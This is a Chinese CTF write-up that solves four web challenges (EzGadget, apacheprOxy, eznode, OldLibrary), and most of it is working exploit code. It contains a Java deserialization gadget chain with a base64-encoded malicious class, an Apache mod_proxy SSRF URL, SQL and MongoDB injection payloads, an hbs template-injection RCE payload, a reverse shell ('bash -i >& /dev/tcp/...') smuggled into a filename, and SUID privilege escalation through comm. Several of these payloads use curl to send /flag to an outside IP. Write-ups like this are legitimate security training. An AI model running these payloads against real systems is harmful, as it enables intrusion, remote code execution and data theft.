EzGadget

给了源码，IDEA打开看看，有个反序列化的点：

    @ResponseBody@RequestMapping({"/readobject"})public String unser(@RequestParam(name = "data",required = true) String data, Model model) throws Exception {byte[] b = Tools.base64Decode(data);InputStream inputStream = new ByteArrayInputStream(b);ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);String name = objectInputStream.readUTF();int year = objectInputStream.readInt();if (name.equals("gadgets") && year == 2021) {objectInputStream.readObject();}return "welcome bro.";}

ToStringBean这里：

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//package com.ezgame.ctf.tools;import java.io.Serializable;public class ToStringBean extends ClassLoader implements Serializable {private byte[] ClassByte;public ToStringBean() {}public String toString() {ToStringBean toStringBean = new ToStringBean();Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);Object var3 = null;try {var3 = clazz.newInstance();} catch (InstantiationException var5) {var5.printStackTrace();} catch (IllegalAccessException var6) {var6.printStackTrace();}return "enjoy it.";}
}

toString()这里调用了defineClass能动态加载字节码，但是得想办法调用这个toString。

想到CC5的利用中的BadAttributeValueExpException反序列的时候利用到了toString，所以构造一波即可。

恶意类，我这里把flag外带出来：

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Evil extends AbstractTranslet
{@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}public Evil() {try {String[] command = { "/bin/sh", "-c", "curl http://121.5.169.223:39767/ -F file=@/flag" };Runtime.getRuntime().exec(command);//Runtime.getRuntime().exec("sh /tmp/feng");}catch (Exception ex) {ex.printStackTrace();}}public static void main(final String[] array) {}
}

root@VM-0-6-ubuntu:~/java/evil# cat Evil.class|base64
yv66vgAAADQALwoACwAcBwAdCAAeCAAfCAAgCgAhACIKACEAIwcAJAoACAAlBwAmBwAnAQAJdHJh
bnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tM
Y29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25I
YW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACgBAKYoTGNv
bS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2Fw
YWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hl
L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+
AQADKClWAQANU3RhY2tNYXBUYWJsZQcAJgcAJAEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5n
OylWAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwAEwAUAQAQamF2YS9sYW5nL1N0cmluZwEABy9i
aW4vc2gBAAItYwEAL2N1cmwgaHR0cDovLzEyMS41LjE2OS4yMjM6Mzk3NjcvIC1GIGZpbGU9QC9m
bGFnBwApDAAqACsMACwALQEAE2phdmEvbGFuZy9FeGNlcHRpb24MAC4AFAEABEV2aWwBAEBjb20v
c3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5z
bGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhj
ZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1
bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsB
AA9wcmludFN0YWNrVHJhY2UAIQAKAAsAAAAAAAQAAQAMAA0AAgAOAAAAGQAAAAMAAAABsQAAAAEA
DwAAAAYAAQAAAAwAEAAAAAQAAQARAAEADAASAAIADgAAABkAAAAEAAAAAbEAAAABAA8AAAAGAAEA
AAARABAAAAAEAAEAEQABABMAFAABAA4AAAB3AAQAAgAAACkqtwABBr0AAlkDEgNTWQQSBFNZBRIF
U0y4AAYrtgAHV6cACEwrtgAJsQABAAQAIAAjAAgAAgAPAAAAHgAHAAAAEgAEABQAGAAVACAAGgAj
ABgAJAAZACgAGwAVAAAAEAAC/wAjAAEHABYAAQcAFwQACQAYABkAAQAOAAAAGQAAAAEAAAABsQAA
AAEADwAAAAYAAQAAAB4AAQAaAAAAAgAb

然后构造一波POC：

import com.ezgame.ctf.tools.ToStringBean;import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;public class Test {public static void main(String[] args) throws Exception{BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);Class clazz = Class.forName("javax.management.BadAttributeValueExpException");Field field = clazz.getDeclaredField("val");field.setAccessible(true);ToStringBean toStringBean = new ToStringBean();field.set(badAttributeValueExpException,toStringBean);byte[] classByte = Base64.getDecoder().decode("yv66vgAAADQALwoACwAcBwAdCAAeCAAfCAAgCgAhACIKACEAIwcAJAoACAAlBwAmBwAnAQAJdHJh" +"bnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tM" +"Y29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25I" +"YW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACgBAKYoTGNv" +"bS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2Fw" +"YWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hl" +"L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+" +"AQADKClWAQANU3RhY2tNYXBUYWJsZQcAJgcAJAEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5n" +"OylWAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwAEwAUAQAQamF2YS9sYW5nL1N0cmluZwEABy9i" +"aW4vc2gBAAItYwEAL2N1cmwgaHR0cDovLzEyMS41LjE2OS4yMjM6Mzk3NjcvIC1GIGZpbGU9QC9m" +"bGFnBwApDAAqACsMACwALQEAE2phdmEvbGFuZy9FeGNlcHRpb24MAC4AFAEABEV2aWwBAEBjb20v" +"c3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5z" +"bGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhj" +"ZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1" +"bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsB" +"AA9wcmludFN0YWNrVHJhY2UAIQAKAAsAAAAAAAQAAQAMAA0AAgAOAAAAGQAAAAMAAAABsQAAAAEA" +"DwAAAAYAAQAAAAwAEAAAAAQAAQARAAEADAASAAIADgAAABkAAAAEAAAAAbEAAAABAA8AAAAGAAEA" +"AAARABAAAAAEAAEAEQABABMAFAABAA4AAAB3AAQAAgAAACkqtwABBr0AAlkDEgNTWQQSBFNZBRIF" +"U0y4AAYrtgAHV6cACEwrtgAJsQABAAQAIAAjAAgAAgAPAAAAHgAHAAAAEgAEABQAGAAVACAAGgAj" +"ABgAJAAZACgAGwAVAAAAEAAC/wAjAAEHABYAAQcAFwQACQAYABkAAQAOAAAAGQAAAAEAAAABsQAA" +"AAEADwAAAAYAAQAAAB4AAQAaAAAAAgAb");clazz = Class.forName("com.ezgame.ctf.tools.ToStringBean");field = clazz.getDeclaredField("ClassByte");field.setAccessible(true);field.set(toStringBean,classByte);ByteArrayOutputStream bout = new ByteArrayOutputStream();ObjectOutputStream oout = new ObjectOutputStream(bout);oout.writeUTF("gadgets");oout.writeInt(2021);oout.writeObject(badAttributeValueExpException);byte[] bytes = bout.toByteArray();byte[] encode = Base64.getEncoder().encode(bytes);System.out.println(new String(encode));}}

打：

得到flag：

apacheprOxy

吃了个饭就打通了。

参考文章：https://www.leavesongs.com/PENETRATION/apache-mod-proxy-ssrf-cve-2021-40438.html

SSRF打内网的weblogic，就是这环境贼垃圾，死活打不通，多打几次就出了：

http://47.104.181.226:7410/?unix:                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |http://172.24.0.2:7001/

flag还是拿curl外带出来：

curl http://121.5.169.223:39656/ -F file=@/flag

而且串payload，我和学长那边都nc收到别人的payload。可能运气比较好就出了，拿了一血：

eznode

一血。

首先是个登录：

router.post('/', async function (req, res, next) {let username = req.body.username;let password = req.body.password;if (check(username) && check(password)) {let sql = `select * from users where username='${username}' and password = '${password}'`;const result = await select(sql).then(close()).catch(err => { console.log(err); });// console.log(result);if(result){if (result.username == username && password == result.password) {res.cookie('token', result, { signed: true });res.send("yes");} else {res.send("username or password error")}} else{res.send('no')}} else {res.send("Fak OFF HACKER");}
});

``check`这个waf很容易绕了，拿数组绕。

然后就是这个：

if (result.username == username && password == result.password) {

第五空间考的了，直接拿第五空间的payload拿过来改一改：

POST / HTTP/1.1
Host: eci-2zeggoejwozozko2g4xu.cloudeci1.ichunqiu.com:8888
Content-Length: 389
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://eci-2zeggoejwozozko2g4xu.cloudeci1.ichunqiu.com:8888
Referer: http://eci-2zeggoejwozozko2g4xu.cloudeci1.ichunqiu.com:8888/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: __jsluid_h=0ac3650127bce0646f3b72bc382255da
Connection: closeusername[]=admin&password[]='%2F**%2Funion%2F**%2FSELECT%2F**%2F'admin'%2CREPLACE(REPLACE('%22%2F**%2Funion%2F**%2FSELECT%2F**%2F%22admin%22%2CREPLACE(REPLACE(%22%3F%22%2CCHAR(34)%2CCHAR(39))%2CCHAR(63)%2C%22%3F%22)%23'%2CCHAR(34)%2CCHAR(39))%2CCHAR(63)%2C'%22%2F**%2Funion%2F**%2FSELECT%2F**%2F%22admin%22%2CREPLACE(REPLACE(%22%3F%22%2CCHAR(34)%2CCHAR(39))%2CCHAR(63)%2C%22%3F%22)%23')%23

登录成功后有2个能干的：

router.post('/admin', checkLogin, function (req, res, next) {var name = req.body.name ? req.body.name : "admin";res.render('admin', name)
});// 还未上线..., checkLogin
router.post('/upload', checkLogin, upload.any(), function (req, res, next) {fs.readFile(req.files[0].path, function (err, data) {  if (err) {console.log(err);} else {response = {message: 'File uploaded successfully',filename: req.files[0].path};res.end(JSON.stringify(response));}});
})

文件上传是这样处理：

const storage = multer.diskStorage({destination: function (req, file, cb) {cb(null, './upload_tmp')},filename: function (req, file, cb) {cb(null,  Date.now()+'.jpg')}})

没啥用。（是我错了）

看一下package.json，一个一个查漏洞：

{"name": "app","version": "0.0.0","private": true,"scripts": {"start": "node ./bin/www","dev": "nodemon index.js -e js"},"dependencies": {"cookie-parser": "~1.4.4","crypto": "^1.0.1","debug": "~2.6.9","express": "~4.16.1","hbs": "^4.0.1","http-errors": "~1.6.3","morgan": "~1.9.1","multer": "^1.4.3","mysql": "^2.18.1","path": "^0.12.7","sequelize": "^6.7.0"}
}

查hbs的模板渲染的时候，查到了一个CVE-2021-32822：

https://securitylab.github.com/advisories/GHSL-2021-020-pillarjs-hbs/

本来以为是个任意文件的读取：

读/flag的时候发现读的文件必须要有个后缀，不然就自动加上.hbs：

然后想到了，这应该是解析模板文件的，利用上传功能，就可以实现模板渲染rce。

查一下hbs的模板渲染rce：

https://xz.aliyun.com/t/4695

写个curl外带的POC：

{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return global.process.mainModule.constructor._load('child_process').exec('curl http://121.5.169.223:39767/ -F file=@/flag')"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}
{{/with}}

传过去：

再解析这个模板文件：

带出flag：

OldLibrary

一道Go。先是登录和注册的功能，后续的功能利用有2种限制，一个是localhost一个是admin：

func AdminCheckMiddleWare() gin.HandlerFunc {    // You can't be administratorreturn func(c *gin.Context) {session := sessions.Default(c)if session.Get("uname") == nil {c.Header("Content-Type", "text/html; charset=utf-8")c.String(200, "<script>alert('You have not logged in yet');window.location.href='/auth'</script>")return}if session.Get("uname").(string) != os.Getenv("ADMIN_USER") {c.Header("Content-Type", "text/html; charset=utf-8")c.String(200, "<script>alert('You are not admin, and you can not be admin either!');window.location.href='/auth'</script>")return}c.Next()}
}
func IPCheckMiddleWare() gin.HandlerFunc {return func(c *gin.Context) {if c.Request.RemoteAddr[:9] != "127.0.0.1" && c.Request.RemoteAddr[:9] != "localhost" {c.JSON(403, gin.H{"msg": "I'm sorry, your IP is forbidden"})return}c.Next()}
}

admin这里告诉我们用户名是administrator，但是密码不知道。

审一下代码发现登录那里存在SQL注入：

    err = db_table.Find(bson.M{"$where":"function() {if(this.username == '"+user.Username+"' && this.password == '"+user.Password+"') {return true;}}"}).One(&result)

里面是js代码的判断，以administrator用户名登录成功即可。很容易了，直接收一下js代码就行：

username=administrator&password='||this.username=='administrator

发现有localhost限制的功能那里有个rce：

func DeleteController(c *gin.Context) {    // The function is temporarily inaccessiblevar filename Filenameif err := c.ShouldBindJSON(&filename); err != nil {c.JSON(500, gin.H{"msg": err})return}cmd := exec.Command("/bin/bash", "-c", "rm ./upload/pdf/" + filename.Filename)if err := cmd.Run(); err != nil {fmt.Println(err)return}

所以得先ssrf。

/submit的功能看一下就是给点参数然后弄成一个html然后渲染成pdf，很容易联想到今年祥云杯的那道secrets_of_admin，拿pdf来ssrf。

写一下js 来ssrf实现rce就行：

POST /submit HTTP/1.1
Host: eci-2ze5gq1gtiew9prd5bn1.cloudeci1.ichunqiu.com:8888
Content-Length: 799
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2ze5gq1gtiew9prd5bn1.cloudeci1.ichunqiu.com:8888
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGaez0qbXRXdUlHaf
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2ze5gq1gtiew9prd5bn1.cloudeci1.ichunqiu.com:8888/submit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: __jsluid_h=7f4d85f214af75c12d03309d6885e159; mysession=MTYzNTY2NzU3N3xOd3dBTkUxU1RGRTJURUpNUzBwU1RUSXpSRlpCV1VwSlZrSmFOVlJNUTBSUFZsQkVTVFEzVkVoSVJESkNWbFZWTnpOR1FVRk9SMUU9fIiPFzlMoaVOs65bjmTmFCpCrHIsD8_sgSWXQB5M8XQp
Connection: close------WebKitFormBoundaryGaez0qbXRXdUlHaf
Content-Disposition: form-data; name="title"1234
------WebKitFormBoundaryGaez0qbXRXdUlHaf
Content-Disposition: form-data; name="author"456
------WebKitFormBoundaryGaez0qbXRXdUlHaf
Content-Disposition: form-data; name="description"1</td><script>
var httpRequest = new XMLHttpRequest();
httpRequest.open('POST', 'http://127.0.0.1:8888/delete', true);
httpRequest.setRequestHeader("Content-type","application/json");
var obj = { "filename":"1234.pdf;bash -i >& /dev/tcp/121.5.169.223/39767 0>&1" };
httpRequest.send(JSON.stringify(obj));
</script><td>1
------WebKitFormBoundaryGaez0qbXRXdUlHaf
Content-Disposition: form-data; name="covers"; filename="1.txt"
Content-Type: text/plain321
------WebKitFormBoundaryGaez0qbXRXdUlHaf--

shell弹过来了，然后看一下读flag，没权限。尝试一下suid提权，看一下：

ctfer@engine-1:/$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/lib/xorg/Xorg.wrap
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/sbin/pppd
/usr/bin/chsh
/usr/bin/mount
/usr/bin/chfn
/usr/bin/comm
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/pkexec
ctfer@engine-1:/$

发现有comm，直接利用comm读/flagggisshere：

ctfer@engine-1:/$ comm /flagggisshere /etc/passwd
comm /flagggisshere /etc/passwd
flag{3c515cc6-3ce2-4c3d-9dbc-001ec5f8f13a}root:x:0:0:root:/root:/bin/bash
comm: file 2 is not in sorted orderdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsystemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologinsystemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologinsystemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologinmessagebus:x:104:105::/nonexistent:/usr/sbin/nologinusbmux:x:105:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologinrtkit:x:106:110:RealtimeKit,,,:/proc:/usr/sbin/nologindnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologincups-pk-helper:x:108:112:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologinavahi:x:109:113:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologinsaned:x:110:115::/var/lib/saned:/usr/sbin/nologincolord:x:111:116:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologingeoclue:x:112:117::/var/lib/geoclue:/usr/sbin/nologinpulse:x:113:118:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologingdm:x:114:120:Gnome Display Manager:/var/lib/gdm3:/bin/falsemongodb:x:115:121::/var/lib/mongodb:/usr/sbin/nologinctfer:x:1000:1000::/home/ctfer:/bin/bash
ctfer@engine-1:/$